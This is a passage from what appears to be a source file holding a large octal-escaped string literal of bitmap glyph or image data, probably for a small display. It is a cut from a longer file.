\"\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\77\\7\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\377\\377\\377\\37\\1\\0\\0\\0\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\77\\77\\0\\340\\374\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\374\\374\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\340\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\377\\377\\177\\77\\77\\37\\37\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\376\\376\"\n  \"\\374\\370\\360\\300\\300\\370\\377\\377\\377\\377\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\"\n  \"\\7\\3\\3\\1\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\177\\377\\377\\377\\377\\377\\376\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\"\n  \"\\377~<\\14\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\367\\377\\377\\377\\307\\307\\307\\307\\203\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\36><|xyyyyy\\177\\77\\77\\37\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\341\\341\\341\\343\\343\\343\\341\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\343\\343\\343\\343\\341\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\306\\317\\337\\337\\337\\317\\307\\307\\303\\301\\301\\301\\303\\303\\307\\317\\317\\337\\377\\337\\307\\302\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\301\\303\\307\\307\\307\\307\\307\\303\\301\\300\\300\\300\\300\\300\\301\\303\\307\\307\\307\\307\\307\\303\\301\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\341\\341\\343\\343\\343\\343\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\343\\343\\343\\343\\341\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\377\\377\\377\\377\\377\\377\\377\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\306\\317\\337\\337\\317\\317\\307\\303\\303\\301\\300\\301\\303\\303\\307\\317\\337\\337\\377\\337\\307\\302\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\301\\303\\307\\307\\307\\307\\303\\303\\301\\300\\300\\300\\300\\300\\301\\303\\307\\307\\307\\307\\307\\303\\301\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\37\\37\\37\\37\\77\\177\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\300\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\377\\377\\377\\377\"\n  \"\\377\\377\\374\\300\\77\\77\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\"\n  \"\\377\\377\\177\\7\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\370\\374\\376\\377\\377\\377\\177\\77\\17\"\n  \"\\7\\1\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\301\\203\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\303\\301\\300\\300\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\7\\37\\77\\377\\377\\377\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\77\\177\\377\\377\\376\\370\\340\\300\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\377\\374\\360\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\201\\301\\301\\303\\303\\303\\307\\307\\317\\217\\207\\201\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\374\\374\"\n  \"\\360\\340\\300\\0\\374\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\7\\37\\77\\177\\377\\377\\377\\376\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\207\\317\\307\\307\\307\\303\\303\\303\\301\\201\\201\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\374\\374\"\n  \"\\360\\340\\300\\0\\374\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\7\\37\\77\\177\\377\\377\\377\\376\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\37\\77\\37\\217\\217\\307\\307\\303\\301\\301\\303\\303\\307\\217\\237\\237\\77\\77\\37\\6\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\374\\374\"\n  \"\\360\\340\\300\\0\\374\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\7\\37\\77\\177\\377\\377\\377\\376\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\200\\200\\300\\300\\300\\300\\301\\301\\303\\303\\203\\203\\203\\3\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\374\\374\"\n  \"\\360\\340\\300\\0\\374\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\7\\37\\77\\177\\377\\377\\377\\376\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\\207\\203\\301\\300\\300\\300\\300\\300\\301\\303\\207\\207\\207\\7\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\374\\374\"\n  \"\\360\\340\\300\\0\\374\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\7\\37\\77\\177\\377\\377\\377\\376\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\34>\\177\\377\\377\\377\\376\\374\\370\\360\\300\\200\\0\\0\\200\\300\\340\\360\\370\\376\\377\\377\\377\\177>\"\n  \"\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\303\\347\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\347\\303\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0`\\360\\370\\374\\376\\377\\377\\177\\77\\37\\17\\7\\3\\3\\7\\17\\37\\77\\177\\377\\377\\376\\374\\370\\360\"\n  \"`\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\\300\\300\\300\\200\\200\\340\\360\\374\"\n  \"\\374\\374\\370\\370\\0\\200\\340\\360\\374\\376\\377\\377\\377\\177\\77\\37\\17\\17\\17\\7\\7\\17\\17\\17\\237\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\367\\341\\0\\376\\377\\377\\377\\377\\377\\177\\7\\1\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\77\\17\\3\\17\\377\\377\"\n  